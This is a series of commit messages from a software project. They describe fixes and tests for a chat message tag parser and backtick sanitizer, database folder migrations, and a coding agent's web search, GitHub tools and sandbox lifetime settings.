Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(copilot): only discard a body that actually parsed as JSON

`discard` fired on any body parseSpecialTagData rejected, which conflated "is not
valid JSON" with "is valid JSON of the wrong shape" — even though its own comment
has always said "a well-formed value that failed its shape guard." The viability
rule cannot separate them, because bracket depth reads `{the Q4 report}` as a
viable JSON value.

So prose someone wrapped in braces was deleted:

  I saved <workspace_resource>{the Q4 report}</workspace_resource> for you.
    ->    I saved  for you.

along with the two commonest JSON slips a model makes, unquoted keys
(`{type: "file"}`) and single quotes (`{'type':'file'}`). All three are text loss
of exactly the kind this branch exists to remove.

Dropping text is only defensible for a payload the agent actually formed, so
discard now requires the body to parse. Anything that will not parse was never
demonstrably a payload and is shown instead. A valid payload with the wrong shape
still discards, which is the case the outcome was written for, and a valid tag
still renders.

Costs a second JSON.parse of a body that already failed one. That is the rare
path: a valid payload returns before it, and prose is rejected by the cheaper
viability rule before it.

Verified by mutation: removing the gate fails the new test and nothing else.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(copilot): apply the nesting rule to a prose body on the matched-pair path too

A prose body has no shape to fail — parseTextTagBody accepts any non-empty text —
so <thinking> was the one tag whose close was accepted unconditionally. The
unclosed path already refuses an opener whose body carries a tag marker, on the
grounds that tags never nest. The matched-pair path did not, and the two
disagreeing is the bug.

Mid-stream a nested marker disproves the outer opener, so its text is released
and the inner tag renders. When </thinking> finally arrived it was accepted as a
segment, and everything already on screen was swallowed into it and suppressed:

  a <thinking>b <options>[...]</options> c        -> "a <thinking>b [CARD] c"
  a <thinking>b <options>[...]</options> c</thinking> d -> "a  d"

A rendered card and its surrounding text disappearing from a message the reader
was already looking at. Both paths now apply the same rule, and resolution
resumes at the opener so the inner tag survives the rescan — safe here because
prose bodies are never blanked, so no marker is hidden from the scan the way one
can be inside a JSON string.

The frame-replay helper counted a thinking body as visible text, which is why its
card-monotonicity assertion could not see this. It now models the renderer:
thinking contributes nothing. Verified by mutation — removing the rule fails the
new test and nothing else.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(copilot): assert parser invariants over generated messages

Every regression review found on this branch was a combination nobody had written
an example for. The example tests cannot cover the space: a body is judged on
body kind, close state, JSON state, marker placement, size against the scan
window, and streaming mode — a product of roughly six hundred cells, each needing
both an outcome and a resume point.

Four invariants over messages composed from fragments, so a new combination is
covered without a new test:

- no character is lost from a message containing nothing droppable
- every valid tag renders as a card whatever surrounds it
- across streamed frames a card never un-renders and text never retracts
- the settled parse never shows less than the last streaming frame

Fragments are the shapes the parser must reject — prose mentions, misspelled and
truncated closes, brace-wrapped prose, unquoted keys, a nested marker in a prose
body, filler long enough to cross the scan window. None is a valid tag or a
well-formed payload, so nothing is eligible for discard, which is what makes
"output equals input" a legal assertion. Seeded, so a failure reproduces.

Validated against the three defects review found, with the fix for each reverted
and only these tests running: the flattened tag past the window fails the card
invariant, the deleted brace-wrapped prose fails the loss invariant, and the
retracted thinking close fails both loss and retraction. They pass on current
code, so nothing further is reachable through the shapes they generate.

The generator composes several fragments between tags rather than one. With a
single fragment it cannot place an unclosed opener and then enough prose to push
a valid tag past the scan window, which is exactly the shape of one of the three —
the first draft missed it for that reason alone.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(copilot): strip a stray null byte from the test file

A space in the visibleView card placeholder was written as U+0000, so the file
contained one null byte. Git classifies a file with a null byte as binary and
shows "Bin 34936 -> 41628 bytes" instead of a diff, which made the test file
unreviewable in the two commits since 2f9b60a.

Nothing caught it: vitest, tsc and biome all read the file fine, and the byte sat
inside a string literal used only as a placeholder in test-only output, so no
assertion depended on it. Only `git diff` noticed.

The PR diff renders as text again.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* refactor(copilot): split resolveTagAt into budget, classification, and resume

resolveTagAt answered three orthogonal questions in one body of branches — is
this a payload, how much of it may I read, and where do I resume — and every
regression review found on this parser was one of those answers changing without
another. Two of the five were regressions from the fix for the previous one, and
the last two were not missed inputs at all: one was the code contradicting its
own docstring, the other two branches applying different rules to the same
question. That is what coupling looks like, not bad luck.

Now three pieces:

- inspectWithin — the read budget, and nothing else. Both paths spend it through
  the same helper; they previously applied the same constant in two shapes, and
  the difference between those shapes was a bug.
- classifyBody — what the body IS. Pure: no positions, no outcome, no resume.
  Returns one of a closed set of five classes.
- resumeForClass — where scanning continues, given the class. Nothing else.

The closed set is the point. resolveMatchedPair and resumeForClass each switch
over it exhaustively, so adding a class fails to compile until BOTH questions are
answered for it. Verified by adding a sixth case: tsc reports exactly two errors,
one per switch. The failure mode that produced five review rounds is no longer
representable.

Behaviour is identical, not merely believed to be. Diffed against the previous
implementation over 7,500 comparisons — 1,500 generated messages, each parsed
streaming, settled, and at three mid-stream cut points — asserting deep equality
of the full result, not just rendered text. The one divergence the differential
found was mine: the prose nested-marker path resumed at the marker rather than
the opener, emitting one text segment where the old code emitted two. Display-
identical, since adjacent text segments concatenate, and arguably better — but a
behaviour change does not belong in a refactor, so prose nesting is now its own
class that resumes exactly where it used to. The improvement is noted in the type
for whoever wants it.

The 70 tests, including the four property invariants added on the parent branch,
pass unchanged.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(copilot): stop backtick stripping from unbalancing a whole message

The display sanitizer removes a backtick sitting next to a workspace-resource
tag, so a stray one cannot stop a chip rendering. It could not tell a real tag
from prose MENTIONING the tag name, and a mention is the common case:

  The `<workspace_resource>` tag needs a real `path` to render.
    ->  The <workspace_resource>` tag needs a real `path` to render.

The opening backtick goes, the closing one is left unpaired, and it opens a code
span that runs to the next backtick — inverting every code span for the rest of
the message. A three-paragraph explanation renders with most of its prose in
monospace and stray backticks visible in the text.

Both unpaired-strip patterns now require the complete opener-payload-closer to
be present with no backtick inside it. That is what separates the two cases: a
payload is JSON and contains no backticks, while a mention has no closer at all.
The one-sided stray backtick around a real tag — the case these patterns exist
for — still strips, and the balanced-code-span unwrap above them is untouched.

Pre-existing, and not in this branch's two files, but only reachable because of
them: until this branch, a prose mention of the tag blanked the rest of the
message, so the mangled formatting was never on screen to see. Verified end to
end through sanitizer -> parser -> Streamdown: the reported message keeps all 14
backticks and renders 7 balanced code spans with no spurious chip, and a real
backticked tag still renders its chip with the wrapping removed.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(copilot): apply the same backtick guard to the balanced unwrap

The previous commit fixed the two unpaired-backtick strips but left the balanced
unwrap above them, which has the identical flaw. It allows anything between
opener and closer, so a message writing the two markers as separately backticked
spans reads as ONE wrapped tag and loses its outer pair:

  Use `<workspace_resource>` then close with `</workspace_resource>` here.
    ->  Use <workspace_resource>` then close with `</workspace_resource> here.

Two backticks gone, the remaining two mispaired, same message-wide code-span
inversion. This is the shape a message explaining the tag syntax naturally
takes, which is how the original report was produced.

All three patterns now forbid a backtick between opener and closer. Verified
across the matrix: a real tag still unwraps whether the stray backtick is on
both sides or one, and every mention shape keeps its backticks balanced.

Known and accepted: a resource whose title or path itself contains a backtick
will not have wrapping backticks stripped, so it renders as text instead of a
chip. That failure costs one chip and is rare; the one it replaces corrupts the
formatting of an entire message and is common.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(copilot): pair backticks the way markdown does, and bound the scan

Review found my previous two commits traded one bug for a worse one. Three
independent reviewers measured it.

The trailing-backtick pattern anchored on the bare `<workspace_resource>`
literal, so every opener started a lazy scan hunting a closer that never
arrives. A message repeating the tag name in prose went quadratic: 168KB cost
154ms per call, and this runs on the main thread for every streamed chunk, so a
long reply is seconds of frozen tab. The pattern it replaced was linear. Now
0.36ms on the same input.

Two correctness bugs came with it, both from matching `\s*` around the tag: the
pattern could start at one code span's delimiter and finish at another's, so
`Open `config.json` <tag> then run `bun test`` lost a backtick; and the
whitespace crossed newlines, eating one of the three backticks closing a fenced
block that contained a tag, leaving the rest of the message inside the fence.

The root problem was three global regexes each guessing at which backticks
belong together. They now model what markdown actually does: find code spans by
pairing a backtick with the next one on the same line, and unwrap a span only
when it genuinely contains a complete tag. Pairing is what makes the neighbour
and fence cases correct rather than separately patched. A leftover backtick
pressed directly against a tag, with no partner, is still stripped.

A negative lookahead stops any scan crossing another opener — the cost bound.

Adds tests for the neighbour and fence shapes, and one that pins the complexity
by asserting 168KB of repeated-opener prose finishes well inside 50ms; every
fixture until now was under 1KB, which is why both quadratics were invisible.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(copilot): address the confirmed review findings

Five findings from the review, each reproduced before being fixed and
mutation-checked after.

The nesting rule on the matched-pair path tested for anything tag-shaped while
the streaming path tested for the tag NAMES. Reasoning that mentioned `<div>` or
a generic was therefore released as visible prose — the model's thinking on
screen because of an incidental angle bracket. Both paths now share one
predicate, hasSpecialTagMarker, so they cannot disagree about whether a body was
ever a tag. The broad regex keeps its other job: on a JSON body an invented name
like `</workflow_resource>` really is stray content.

Not changed, and worth saying why: a `<thinking>` body containing a REAL nested
tag still releases and renders it. Suppressing it instead would mean the
streaming path shows a card and the close then retracts it, which is the defect
the previous commit fixed. Security rated the containment loss P2 while noting it
grants no capability the top-level path lacks — a stream that can nest a tag can
emit one at top level, which already rendered.

unclosedTagCannotResolve blanked a full window before viability rejected the body
on its first character, which is the common case of a tag name in prose. Testing
that first: 43ms per streaming parse at 84KB, now 2ms.

The unclosed path sliced the whole remaining buffer and then bounded it, copying
the rest of the message per opener per chunk. inspectFrom slices once, bounded.

A message that is ONLY a discarded payload rendered the raw JSON: discard emits
no segment by design, so it reached the empty-segments fallback, whose job is to
never blank a plain-text message. It now knows a discard happened. Pre-existing,
but discard only became a first-class outcome on this branch.

Three docstrings still pointed at resolveTagAt for decisions the refactor moved
into classifyBody and resumeForClass.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* refactor(copilot): quality pass over the parser and its tests

Four changes from a reuse/simplification/efficiency/altitude review. No behaviour
change; 162 tests unchanged.

blankJsonStringLiterals returns the body untouched when it contains no quote. No
quote means no string literal, so the loop was copying the body to itself
character by character. unclosedTagCannotResolve had learned to short-circuit
before calling it; literalTextReason had not, and blanked unconditionally on
every already-rejected tag on every later chunk. Putting the guard inside the
helper fixes both callers at once.

inspectWithin and inspectFrom were near-duplicates added at different times. One
function with an optional start expresses both, and keeps the property the second
one existed for: slice once, already bounded, never `content.slice(bodyStart)`
first and bound after.

The frame-replay property was 1727ms — 95% of the file's test time — because it
parses every prefix, so message length multiplies into parse count, and the
fragment pool included a 6KB filler. Retraction happens AT a frame boundary, not
as a function of message size, so that property now draws from the short
fragments; the window-crossing filler still gets coverage from the properties
that parse each message once. 1727ms to 205ms, same seeds, same assertions. It
also now calls replayFrames instead of hand-rolling the stepping loop it already
had a helper for.

Deferred deliberately, each with a reason:

- Collapsing `prose-nested-marker` into `nested-marker`. Its own docstring names
  the simplification and defers it; it is a behaviour change and wants its own
  commit and test, which is the pattern the rest of this branch follows.
- Bounding hasSpecialTagMarker on the prose path. Costs tens of microseconds on
  a long reasoning body, but a marker past the bound would flip that body from
  released to suppressed — a retraction, which is the bug two commits back.
- Splitting the parser out of this `'use client'` file. The strongest structural
  finding: the file cannot be imported by server code, which is why the inbox
  executor carries its own thinking-strip regex. It is a mechanical move with no
  logic change and deserves its own PR, not commit 25 of this one.
- Generalising the backtick sanitizer past `workspace_resource`, and replacing it
  with parser-owned backtick consumption. Same reasoning: real, and not here.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* docs(copilot): reattach an orphaned docstring and cut comment noise

One real defect. Adding hasSpecialTagMarker put it BETWEEN
unclosedTagCannotResolve and the docstring written for it, so two doc blocks sat
stacked and the function they described ended up with none. A reader scanning the
file would have read the first block as preamble for the wrong function. Moved
back, and while there: "14 substring scans" is SPECIAL_TAG_NAMES.length * 2, so
adding an eighth tag would have quietly made it wrong — it now says a pass per
tag name.

The rest is noise removal:

- Three comments narrating what the parser used to do. A comment is read by
  someone looking at the current code, not the diff, and this branch already
  writes that history at length in its commit messages.
- Three millisecond measurements. Each one already stated the durable claim —
  quadratic, or a copy thrown away per opener per chunk — and then appended a
  number that will rot. The one measurement kept is the blind-spot paragraph on
  MAX_UNCLOSED_BODY_SCAN, where the number is what justifies the constant.
- Two of the four restatements of "the renderer concatenates adjacent text
  segments". Kept where it is load-bearing, on pushText and on the test helper.
- One claim gone stale in the last commit: the read-budget doc still described
  two helpers agreeing with each other, after they became one function.

Left alone deliberately: the rules that look arbitrary and are not — marker
blanking, the differing resume offsets, the accepted trades. Those are why this
file reads as heavily commented, and they are the ones worth having.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(copilot): sanitize backticks in one pass so a flush code span survives

Review caught a case the previous fix missed. Two passes each decided
independently which backticks belonged together, and with no space between a
code span and a tag they disagreed:

  Open `config.json`<tag> ok     ->  lost the span's closing backtick
  Open <tag>`config.json` ok     ->  lost the span's opening backtick

My test for this used a space between them, which is exactly why it passed.

Both passes are now one left-to-right scan alternating between a code span and a
tag with a stray backtick against it. A span consumes its own delimiters as the
scan reaches them, so a flush neighbour keeps its pair with no special case —
where a second pass had no way to know the backtick was already spoken for. This
is the third arrangement of this file; the first two each handled the cases they
were written for and broke a different one, which is what two passes guessing at
the same question produces.

A trailing backtick is only taken as a stray when no further backtick follows on
the line. Otherwise it is the opener of the next span. Mutation-checked: removing
that lookahead fails the new test and nothing else.

Swapping the alternation order changes nothing any fixture covers, so the comment
no longer claims the order is load-bearing — it distinguishes only a span that
opens flush against a tag and closes elsewhere, which nothing pins.

Thirteen shapes verified balanced, including all three flush variants, the
fenced block, the neighbour with a space, both one-sided strays, and the mention
shapes. 168KB of repeated openers: 0.18ms.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(copilot): rewind the scan-window resume so a straddling opener still parses

Applied from an automated code review of this branch. Two findings, both
verified by reverting the fix and confirming only the new test fails.

`resumeForClass`'s `unexamined` case resumed at exactly `bodyStart + 4096`.
That edge is an arbitrary cut, so an opener can begin just before it and
finish just after — leaving its `<` behind the cursor. The opener scan only
looks forward, so the tag was never found and its payload rendered as raw
JSON text on a COMPLETED message, not just mid-stream. Reproducible for
every filler length in 4077..4095; the existing borrowed-body test steps in
11-character units and never lands in that band.

Backing the resume off by the longest marker guarantees a straddling opener
is re-scanned from its `<`. The step is still ~4076 characters, so a long
body still costs a bounded number of re-entries. The new test sweeps every
offset across the band.

The two complexity tests asserted absolute wall-clock ceilings (<50ms,
<20ms), which measure the machine as much as the algorithm: they fail on a
loaded CI box, and set generously enough not to, they let a genuine
quadratic through at the single size they sample. Both now assert the
scaling ratio across a 4x input instead (quadratic ~16x, linear ~4x).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(copilot): trust the raw body for markers once it is known not to be JSON

`literalTextReason` blanks a body's quoted regions before scanning it for tag
markers, so that syntax quoted inside a JSON string is not mistaken for a real
nested tag. That blanking assumes quotes delimit JSON strings. One unbalanced
`"` breaks the assumption: everything after it is treated as string content,
which can hide a genuine marker.

The verdict then degrades from `foreign-markers` to `never-a-payload`, and the
resume changes with it — from the marker offset to past the close — flattening
a real tag inside the span. A card already on screen un-renders into raw JSON
when the closing tag finally arrives, and a valid tag after it never renders.

Blanking is only meaningful while the body might BE JSON. Once viability or a
failed parse has proved it never was, that premise is void and the raw text is
the honest evidence, so rescan it and resume at the marker.

Both routes to "never JSON" now funnel through one branch. The rescan applies
to the failed-parse route too, not only the viability one — patching just the
latter leaves the same defect reachable through the former.

Behaviour for a body that IS valid JSON is untouched: a well-formed payload
that fails its shape guard is still discarded, and tag syntax quoted inside a
valid payload is still invisible to the scan.

Adds the repro as two tests — the settled parse, and frame-by-frame so the
un-render is pinned directly — plus two unbalanced-quote fragments to the
property corpus. Reverting the rescan fails exactly those two tests.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* refactor(copilot): share the scaling-ratio harness between the two perf tests

Both complexity tests hand-rolled the same 15-line harness — build a repeated
tag mention, take the fastest of five runs at two input sizes, assert the
ratio — differing only in which function they timed. Changing the run count,
the sample sizes, or the threshold meant editing both in lockstep.

Extracted to `scalingRatioOver4x`, following the existing `*-test-helpers.ts`
convention in this tree. The rationale for asserting a ratio rather than a
wall-clock ceiling now lives in one place instead of being paraphrased twice.

Also drops a redundant disjunct in the opener scan: `nearestStart` and
`nearestTagName` are only ever assigned together, so `nearestStart === -1`
holds exactly when the name is empty. Testing the name alone is the same check
and is the one that narrows the union for `resolveTagAt`.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* docs(copilot): correct a resume comment the rewind fix left inaccurate

The `unexamined` case claimed "everything read is emitted as text by the
caller". That was true when the resume was exactly the window edge, but the
straddling-opener rewind holds the last marker's worth of the window back so it
can be re-scanned rather than flattened — so the sentence contradicted the
paragraph directly beneath it. Nothing is lost either way; the caller emits up
to wherever this resumes.

Also drops two "Round-N class:" prefixes from test comments. They point at
review rounds of this PR, which mean nothing to a reader after it merges; the
sentences that follow already say what the bug was.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(copilot): pin the blanking rule with a body staging cannot recover

CI runs the merge with staging, and staging's desktop PR (#5998) taught
`parseSpecialTagData` to recover a failed `<question>` body's prompt and render
it as text instead of returning null. That recovery lands before `classifyBody`
is ever consulted, so this fixture — whose quoted `</options>` sat inside its
`prompt` — stopped exercising the blanking rule and started asserting the
recovery. Merged, it rendered "A use </options> here? B" instead of "A  B".

Moving the quoted marker to a non-`prompt` field restores what the test is for:
a marker inside a JSON string must be blanked before the scan, or a broken
payload gets classified as literal text and its raw JSON is shown. A body with
no recoverable prompt reaches `discard` on both sides of the merge, matching the
prompt-less fixture the sibling test above already uses.

Behaviour is unchanged on either branch alone; only the fixture moved.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test(copilot): cover every tag in the property invariants, and pin that it stays that way

`VALID_TAGS` and `NEEDLES` hand-picked three or four of the seven tags the
parser resolves. `credential`, `usage_upgrade`, and `mothership-error` were
exercised by no invariant at all — not the card-count property, not
retraction-across-frames, not settled-vs-last-frame — and nothing failed to say
so. The property block's whole argument is that it covers combinations no fixed
example set would, which was only true for four sevenths of the tag space.

Fixtures are now keyed by tag name and checked against SPECIAL_TAG_NAMES, so
adding a tag without a fixture fails a test instead of quietly falling outside
every property here. `thinking` is listed separately: it renders nothing, so it
cannot carry a card invariant.

SPECIAL_TAG_NAMES is exported for that check, matching the five sibling
`*_TYPES` unions in the same module that are already exported. NEEDLES derives
from it too, so the memoization test searches every opener the parser does.

All three newly covered tags pass every invariant — this closes a coverage gap,
it does not fix a bug. Removing any one fixture fails the new guard.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* docs(copilot): state the actual bound on the thinking nesting rule

The docstring implied generics are excluded from the marker check. They are not:
the match is a substring test, so `Promise<void>` is safe only because `void` is
not a tag name, while `Promise<options>` does match and would release a thinking
body as text.

Says so plainly now, with why it is left as-is: the boundary check that would
narrow it wants a lookbehind, which is Safari 16.4+ and would be a parse-time
SyntaxError on the versions this app still supports — a dead client chunk is a
worse outcome than the bug. Reaching it also needs an inline `<thinking>` body,
which the agent no longer emits, discussing a type named exactly after a tag.

Comment only; no behaviour change.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
…r_id FKs (#6051)

* chore(db): drop the legacy folder tables and adopt the deferred folder_id FKs

Contract migration closing out the generic-folders cutover: drops workflow_folder
and workspace_file_folders, and adopts the two folder_id foreign keys 0272
deliberately deferred.

Runs a final INSERT-ONLY reconcile first so no stranded legacy folder is lost by
the drop. Insert-only because 0272 deliberately renamed 47 workflow folders to
dedupe them, and an upsert would revert all 47. In production this is a no-op
(verified 0 stranded); it exists for deployments that never ran the post-drain
reconcile as an operational step, self-hosted upgrades above all.

Hand-written rather than drizzle-generated: the generated form drops the tables
BEFORE adding the FKs with no step to re-root unresolvable folder_ids, so one
dangling id fails ADD CONSTRAINT after the legacy data is already gone; it also
validates the FK inline, holding ACCESS EXCLUSIVE across a full scan of the
1.7M-row workspace_files, and uses DROP TABLE CASCADE. The generated snapshot is
kept so drizzle-kit generate reports no schema changes.

Every re-root path dedupes, because all three destinations are partial unique
indexes keyed on a coalesced nullable column: folder, workflow, and
workspace_files. Parents must also be reachable — an active row re-roots off a
soft-deleted parent, while a soft-deleted row may keep one.

Also hardens the retention sweep, which the new ON DELETE SET NULL exposes: a
surviving active child re-rooted by the FK can collide at the workspace root,
and chunkedBatchDelete turns that 23505 into a permanent per-chunk stall. The
folder cleanup target now renames children first, covering workflows, files and
subfolders, re-asserts eligibility so a restore mid-batch is not stripped, and
treats the deduplicated name as a hint since both allocators can return a
colliding one.

* fix(db): stop the re-root dedupe renaming personal workflows

workflow.workspace_id is nullable, and NULL is treated as EQUAL by PARTITION BY
but UNKNOWN by the = in base_taken. So for personal workflows rn incremented
across the group while no collision was ever detected: the dedupe could only
fire spuriously, renaming a user-visible workflow that needed no rename, since
the unique index treats NULL workspace_id rows as distinct anyway. The file
block already carried the equivalent guard.

Also gives step 1's inserts ON CONFLICT (id) DO NOTHING. It restates the
stranded guard, closing the window between that read's snapshot and the index
check — an operational re-run of 0274, or a live pod, committing into folder
mid-statement would otherwise raise 23505, and migrate.ts retries only 55P03.
0272 and 0274 were already written this way; step 1 was the exception.

Corrects three comments that claimed more than the code delivers: the header's
'no legacy folder is lost' (an id already present under another resource_type
cannot be rescued), the reachability note (a cycle among stranded rows survives
a per-row parent check), and a note made stale by the ON CONFLICT above.
…min, and cover the two untested modules (#6062)

* fix(folders): stop archived rows skewing sortOrder, hide them from admin, and cover the two untested modules

nextFolderSortOrder returned min - 1 over ALL rows including soft-deleted ones,
so every delete ratcheted the floor further negative and never recovered — an
archived folder at -400 forced the next new folder to -401 forever. Both minima
(folders and child resources) now see only rows a user can still see, which is
how the Files path has always worked.

The admin workspace-folders endpoint counted and paginated soft-deleted folders,
so an operator saw phantom folders and an inflated total, disagreeing with every
user-facing list.

Adds naming.test.ts and queries.test.ts. Both modules had zero tests and are
mocked at every call site, so their bodies executed in no test anywhere. That
left unasserted the two bug classes that caused real defects in the folder
migration: the suffix sequence (must start at (1) and skip taken suffixes) and
resourceType scoping on the id-keyed lookups, where a missing clause silently
files a knowledge base under a table folder.

Every assertion is mutation-checked. The first version of the sortOrder test was
vacuous — for a root folder the parent condition is itself an isNull node, so a
presence-only check passed with the soft-delete filter deleted; it now asserts
the specific column.

* refactor(testing): share the drizzle condition-tree helpers

Asserting on WHERE clauses is the only way to pin a filter the row-queue mocks
cannot enforce — a mock returns whatever was queued regardless of the predicate
— so this pattern spreads to every test that guards a query's scoping. It had
reached five local copies of the same flatten/has pair, four of them added by
the tests in this branch.

Moved to @sim/testing beside createMockSqlOperators, whose output shape they
parse, so the helper and the node types it depends on live together.
…does (#6063)

A comment pass over this branch found four factual errors, all mine:

- the admin route test justified its column-pinned assertion with reasoning
  copied from lifecycle.test.ts — that condition has no second isNull node, so
  the stated vacuity could not occur there
- 'every clause mirrors one column of the partial unique index' was wrong:
  deletedAt is the index PREDICATE, and name has no clause at all
- 'optimistic client reparents can write a cycle' is unsupported —
  wouldCreateFolderCycle has one caller and no write path bypasses it; the real
  origin is two concurrent reparents each passing the check
- 'restoreFolder runs restoreChildren BEFORE un-archiving' holds only for the
  injected hook path; the in-transaction fallback runs after restoreFolderRows

The rest trims comments that restated the code or duplicated a TSDoc block on
the module under test, and pins three presence-only isNull assertions to the
deletedAt column so they cannot be satisfied by an unrelated nullable filter —
the same fragility that made an earlier assertion here vacuous.
…b tools, sandbox lifetime (#5962)

* feat(pi): optional multi-provider web search for the coding agent

Adds a search provider dropdown (Exa, Serper, Parallel, Firecrawl) to the Pi
block, off by default. The selected provider's key comes from the block field or
Workspace Settings → BYOK; a Sim-hosted key is never spent, so a missing key
fails the run with a setup message instead of quietly billing Sim.

Search is available in all three modes. Local Dev and Review Code register a
host-side tool that goes through the existing provider tools, while Create PR has
no host in the loop and gets a generated Pi extension in the sandbox. Both paths
derive their requests from one normalizer and are held together by a parity test,
since the sandbox copy cannot import Sim's code.

Results are normalized to title, URL, snippet, and publication date, capped per
field and per envelope, marked untrusted in the prompt, and limited to 20
searches per run so a tool loop cannot drain the workspace's quota.

Co-authored-by: Cursor <cursoragent@cursor.com>

* fix(pi): drop the banned JSON round-trip from the search parity test

`check:utils` bans `JSON.parse(JSON.stringify(...))`. The round-trip was
normalizing the host body to its wire form, which buys nothing here: the bodies
are plain JSON and `toEqual` already ignores undefined members.

Co-authored-by: Cursor <cursoragent@cursor.com>

* chore(agents): add reviewed-development skill and the babysit implementation plan

Carries the plan and review protocol into the repository so a cloud agent
working from the remote can read them. Temporary: the plan is removed before
this branch goes for review.

Co-authored-by: Cursor <cursoragent@cursor.com>

* feat(pi): babysit foundations — shared PR/push extraction, GitHub tools, sandbox lifetime

Stage 1 of the Babysit plan (.agents/plans/pi-babysit-mode.plan.md), sections 0,
3, and 7 plus their tests. The Babysit mode itself lands in stage 2.

Section 0 — shared extraction and push hardening:
- Move PREPARE_SCRIPT, PUSH_SCRIPT, and the finalize path/size constants from
  cloud-backend.ts into cloud-shared.ts.
- Move Review Code's PR snapshot helpers into pi/github-pr.ts, generalized off
  PiCloudReviewRunParams to a plain PullRequestCoordinates, and split the raw
  fetch from the "must be open" wrapper so a mode that has to report a closed PR
  gracefully can build on the raw form.
- Harden the one token-bearing command: GIT_CONFIG_NOSYSTEM/GIT_CONFIG_GLOBAL on
  its env, git by absolute path, and an explicit HEAD:refs/heads/$BRANCH refspec.
  The clone script now emits a .git/config digest marker as its last line for
  every mode; only Babysit will verify it.

Section 3 — five GitHub tools, registered but not wired into the block dropdown:
github_list_review_threads, github_reply_review_thread,
github_resolve_review_thread, github_status_check_rollup (GraphQL) and
github_job_logs (REST). Plus a nullable repo_full_name on the PR reader's branch
parse, declared on its own output rather than the shared BRANCH_REF_OUTPUT.

Section 7 — CreateSandboxOptions.lifetimeMs threaded to E2B's timeoutMs, clamped
below the one-hour Hobby ceiling and lowerable by PI_SANDBOX_LIFETIME_MS. Daytona
is deliberately untouched. The per-command Pi timeout is capped at the lifetime.

* fix(tools): correct the rollup CheckRun selection and stop leaking the token on redirect

Two defects found in review, both verified against the live GitHub API.

GraphQL's CheckRun has no `output` object — that is REST's shape. It exposes
`title`, `summary`, and `text` as flat nullable fields, confirmed by introspecting
the schema. The old selection made every github_status_check_rollup call fail with
"Field 'output' doesn't exist on type 'CheckRun'", delivered as an HTTP 200 errors
payload that no fixture-based test could catch. The corrected query was run against
a real PR and returns 18 check runs plus a Vercel status context, with title and
summary null on every Actions run exactly as the plan predicted.

github_job_logs redirects to third-party blob storage, and Sim's tool fetch follows
redirects itself rather than through the fetch spec, so it replayed the GitHub token
to that host. Tools can now declare `stripAuthOnRedirect`, and the log reader does.

Also from review: pin Review Code's "must be open" guard with a test now that it
lives in its own function, drop the stream reader in github_job_logs since the
executor already hands transformResponse a capped buffer, and correct three doc
comments that overstated what they guaranteed.

* test(tools): cover the stripAuthOnRedirect plumbing end to end

Asserting the flag on the tool config alone would not catch a regression in
formatRequestParams or in the executor's call into secureFetchWithPinnedIP, so
pin what the fetch layer actually receives, in both the opted-in and the default
case.

* fix(pi): correct the push-hardening claim, reserve finalize time, tighten isRequired

Three review findings, each verified rather than taken on faith.

PUSH_SCRIPT's comment claimed GIT_CONFIG_NOSYSTEM and GIT_CONFIG_GLOBAL close
config-driven URL rewriting. They do not: reproduced locally on git 2.43, a
repository-local url.*.insteadOf still rewrites the push URL and sends the token's
userinfo to another host. That is the scope a root agent in the checkout can
actually write, and it stays open until a mode verifies the config digest — which
is Babysit, per the plan. The comment now says that instead of the opposite.

PI_TIMEOUT_MS capped the Pi command at the whole sandbox lifetime, so the sandbox
always died first and the stated benefit — a clean timeout instead of an opaque
SDK error — could never happen. It now reserves the clone and finalize budgets it
shares the sandbox with, leaving the host time to commit and push whatever the
agent produced.

isRequired is Boolean! on both CheckRun and StatusContext (confirmed by schema
introspection), so the nullable parse modelled a value GitHub cannot send and left
stage 2 a tri-state to handle. It is required now, and an absent value fails loudly
rather than reading as "not required", which would let a failing required check
stop blocking the green verdict.

Also: a github-pr.test.ts pinning that the raw fetchPrSnapshot does not throw on a
closed PR (the entire reason for the wrapper split, previously untested), a
cloud-shared.test.ts for the timeout reserve and the digest line, the E2B lifetime
ceiling documented next to E2B_PI_TEMPLATE_ID as section 7 asks, and the new
registry tests no longer leaving their fake tools registered.

* fix(pi): reserve both finalize budgets in the Pi command timeout

Create PR dispatches two commands at FINALIZE_TIMEOUT_MS, not one — the commit
and the push — so reserving a single budget left the push unbudgeted and the
worst case overshot the sandbox lifetime by exactly that amount. Losing the
sandbox during the push is the most expensive moment to lose it: the work is
committed and unpushed, which is the outcome the reserve exists to prevent.

The comment no longer claims more than the arithmetic delivers. What is reserved
is each command's timeout ceiling rather than its measured elapsed time, so this
is a budget that adds up, not a guarantee. Two other comments described Babysit
verifying the config digest in the present tense, when no mode verifies it yet.

Also drops the digest-line test: it asserted a string constant contains its own
substrings, while cloud-backend.test.ts already pins the property that matters —
the marker being the clone's last line, after the remote rewrite.

* docs(pi): stop describing Babysit's digest check in the present tense

Three comments still read as statements of current behavior: the Create PR push
test's note beside the assertion that proves no verification happens, github-pr's
module doc naming a second consumer that does not exist yet, and the timeout
floor claiming a short-lifetime run was doomed regardless when the reserved
ceilings are pessimistic enough that it may well finish.

* fix(pi): scope the sandbox lifetime cap to E2B and harden the job-log path

